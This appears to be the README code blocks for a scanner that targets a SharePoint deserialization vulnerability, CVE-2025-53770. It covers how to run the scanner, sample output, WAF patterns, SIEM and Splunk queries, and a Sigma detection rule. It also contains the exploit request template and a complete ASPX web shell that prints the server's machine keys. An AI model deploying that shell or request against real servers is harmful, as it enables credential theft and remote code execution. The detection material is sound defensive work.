git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner

pip install -r requirements.txt

sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local

python3 scanner.py -i hosts.txt

python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v

[
  {
    "host": "sharepoint.example.com",
    "url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
    "scan_time": "2025-07-21T10:30:00.123456",
    "vulnerable": true,
    "status_code": 200,
    "response_size": 15432,
    "error": null,
    "response_time": 1.23
  }
]

$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v

Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json

[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local  
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)

============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%

VULNERABLE HOSTS (CVE-2025-53770):

  CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
    • sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
      WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised

  HIGH CONFIDENCE (1 hosts):
    • sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)

  LOW CONFIDENCE (1 hosts):
    • sp-archive.acme.local (Response time: 2.10s, Version: Unknown)

Detailed results saved to: vuln-results.json

tail -f scan.log

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close

MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string] 
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40

# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx

Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe

# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Body contains: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Body contains: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ

Event Log: Application
Source: ASP.NET, SharePoint Foundation
Event IDs: 1309, 1310 (application errors)
Event Log: System
Source: Application Error
Process: w3wp.exe crashes

index=iis source="*iis*" 
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size

index=iis 
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status

{
  "query": {
    "bool": {
      "must": [
        {"term": {"http.request.method": "POST"}},
        {"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
        {"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
        {"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
        {"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
        {"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
      ]
    }
  }
}

title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detects exploitation attempts of CVE-2025-53770 SharePoint deserialization vulnerability
references:
    - https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/_layouts/15/ToolPane.aspx'
        cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
        cs-bytes: 
            - gte: 7000
            - lte: 10000
        cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
        cs-Referer: '/_layouts/SignOut.aspx'
    condition: selection
falsepositives:
    - Legitimate SharePoint administrative activities
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.53770

# Convert scan results for Splunk ingestion
python3 scanner.py -i hosts.txt -o results.json
# Import into Splunk index
curl -k -H "Authorization: Splunk <token>" -X POST \
  "https://splunk-server:8088/services/collector" \
  -d @results.json